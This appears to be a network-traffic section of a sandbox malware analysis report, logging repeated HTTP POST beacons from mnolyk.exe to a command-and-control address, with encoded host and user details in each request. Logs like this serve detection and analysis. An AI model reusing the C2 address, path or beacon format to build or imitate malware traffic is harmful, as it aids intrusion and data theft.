467	192.168.2.5	50157	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:54.822505951 CET	667	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:54.886236906 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.5	50158	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:55.072146893 CET	668	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:55.137774944 CET	669	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.2.5	50159	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:55.306571960 CET	669	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:55.369514942 CET	670	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49737	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:52.313327074 CET	248	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:52.378164053 CET	248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.5	50160	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:55.547494888 CET	670	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:55.611332893 CET	671	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.2.5	50161	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:55.790925026 CET	671	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:55.854116917 CET	672	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.5	50162	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:56.026170015 CET	672	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:56.090836048 CET	673	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.2.5	50163	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:56.264796972 CET	673	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:56.329933882 CET	674	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.5	50164	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:56.510220051 CET	674	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:56.573378086 CET	675	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.2.5	50165	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:56.744687080 CET	675	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:56.808456898 CET	676	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.5	50166	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:56.977674007 CET	676	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:57.042531967 CET	677	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.2.5	50167	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:57.212251902 CET	677	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:57.275357962 CET	678	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.5	50168	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:57.456115007 CET	678	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:57.522361994 CET	679	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.2.5	50169	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:57.700716019 CET	679	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:57.764674902 CET	680	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49738	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:52.550399065 CET	249	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:52.614141941 CET	249	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.5	50170	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:57.930319071 CET	680	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:57.992721081 CET	681	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.2.5	50171	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:58.166615963 CET	681	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:58.233177900 CET	682	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.5	50172	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:58.399243116 CET	682	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:58.462138891 CET	683	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.5	50173	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:58.637896061 CET	683	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:58.705470085 CET	684	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.2.5	50174	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:58.884943008 CET	684	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:58.947803974 CET	685	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.2.5	50175	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:59.121879101 CET	685	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:59.186496019 CET	686	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.5	50176	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:59.358931065 CET	686	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
